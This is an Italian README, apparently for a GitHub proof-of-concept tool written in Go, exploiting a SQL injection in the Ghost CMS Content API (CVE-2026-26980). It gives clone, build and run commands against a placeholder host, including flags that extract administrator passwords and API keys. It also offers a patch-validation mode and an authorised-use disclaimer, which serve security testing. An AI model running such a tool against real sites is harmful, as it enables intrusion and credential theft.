gagaltotal/cve-2026-26980-ghost-cms-apiPoC basato su Go per l'iniezione SQL dell'API Content di Ghost CMS (CVE-2026-26980). Verifica la vulnerabilità, estrae le credenziali dell'amministratore e i segreti API e convalida le patch sulle versioni interessate 3.24.0–6.19.0.
Questo repository contiene uno strumento proof-of-concept basato su Go per dimostrare e validare la vulnerabilità di SQL injection nell'API Content di Ghost CMS descritta da CVE-2026-26980. L'implementazione si basa sul flusso di exploit implementato nel file sorgente Go principale ed è destinata esclusivamente a ricerche e test di sicurezza autorizzati.
Il PoC prende di mira le istanze di Ghost CMS affette da una vulnerabilità di ordinamento del filtro slug dell'API Content. Può:
L'implementazione è specificamente riferita al seguente contesto di advisory:
git clone https://github.com/gagaltotal/CVE-2026-26980-Ghost-CMS-Api
cd CVE-2026-26980-Ghost-CMS-Api
go mod init CVE-2026-26980-Ghost-CMS-Api
go mod tidy
Dalla radice del progetto, compila il binario con:
go build -o ghost-sqli ghost_sqli_cms.go
OR
go run ghost_sqli_cms.go
./ghost-sqli --help
./ghost-sqli --url http://target.example:2368
./ghost-sqli --url http://target.example:2368 --extract-password --extract-api-key
./ghost-sqli --url http://target.example:2368 --validate-fix
./ghost-sqli --url http://target.example:2368 --content-key "your-content-api-key"
./ghost-sqli --url http://target.example:2368 -v
Questo progetto è fornito esclusivamente per scopi educativi e di valutazione della sicurezza autorizzati. Utilizzalo solo contro sistemi di tua proprietà, che sei autorizzato a testare, o che stai valutando in un ambiente controllato. L'accesso non autorizzato o lo sfruttamento di sistemi di terze parti è illegale e può violare le leggi applicabili.